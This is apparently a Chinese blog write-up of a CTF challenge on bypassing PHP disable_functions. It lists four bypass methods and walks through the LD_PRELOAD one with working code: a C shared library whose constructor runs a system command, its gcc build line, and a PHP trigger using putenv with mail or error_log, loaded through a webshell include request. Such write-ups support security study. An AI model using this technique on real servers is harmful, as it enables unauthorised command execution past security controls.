LD_PRELOAD

发表于 2021-01-04 分类于 Skill， Web进阶， PHP， Bypass disable_function
Skill | Web进阶 | PHP | Bypass disable_function | LD_PRELOAD

点击此处获得更好的阅读体验

本WP来自sunian原创投稿

题目考点

- *使用 LD_PRELOAD 方式来绕过disabled_functions限制*

解题思路

思路分析

根据资料可得知有四种绕过 disable_functions 的手法：

1. *攻击后端组件，寻找存在命令注入的 web 应用常用的后端组件，如，`ImageMagick` 的魔图漏洞、`bash` 的破壳漏洞等等*
2. *寻找未禁用的漏网函数，常见的执行命令的函数有 `system()`、`exec()`、`shell_exec()`、`passthru()`，偏僻的 `popen()`、`proc_open()`、`pcntl_exec()`，逐一尝试，或许有漏网之鱼*
3. *mod_cgi 模式，尝试修改 .htaccess，调整请求访问路由，绕过 php.ini 中的任何限制（让特定扩展名的文件直接和php-cgi通信）；*
4. *利用环境变量 `LD_PRELOAD` 劫持系统函数，让外部程序加载恶意 *.so，达到执行系统命令的效果。*

这里我们只详细学习第四种方法。大致步骤如下

- *生成一个我们的恶意动态链接库文件*
- *利用putenv设置LD_PRELOAD为我们的恶意动态链接库文件的路径*
- *配合php的某个函数去触发我们的恶意动态链接库文件*
- *RCE并获取flag*

这里面的某个函数需要在运行的时候能够启动子进程，这样才能重新加载我们所设置的环境变量，从而劫持子进程所调用的库函数。

> *LD_PRELOAD是Linux系统的一个环境变量，它可以影响程序的运行时的链接（Runtime linker），它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量，我们可以在主程序和其动态链接库的中间加载别的动态链接库，甚至覆盖正常的函数库。一方面，我们可以以此功能来使用自己的或是更好的函数（无需别人的源码），而另一方面，我们也可以以向别人的程序注入程序，从而达到特定的目的。putenv()用来改变或增加环境变量的内容. 参数string 的格式为name＝value, 如果该环境变量原先存在, 则变量内容会依参数string 改变, 否则此参数内容会成为新的环境变量.*

解题过程

我们先生成一个hack.c恶意动态链接库文件

```
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("/readflag > /tmp/sunian");
}
```

利用gcc进行编译，虽然报错了，但是不影响

```
gcc -shared -fPIC hack.c -o hack.so
```

直接拖到蚁剑上去就行了

sunian.php

```
<?php
putenv("LD_PRELOAD=/tmp/hack.so");
mail("", "", "", "");
?>
```

然后去GET请求包含sunian.php `url/?ant=include(%27sunian.php%27);`

然后发现蚁剑的tmp目录下并没有生成sunian这个文件

所以认为是mail函数无法使用，使用`error_log`进行替换

再次包含sunian.php，成功生成名为sunian的文件

打开文件拿到flag

#Skill #Web进阶 #PHP #Bypass disable_function
00截断
flag_universe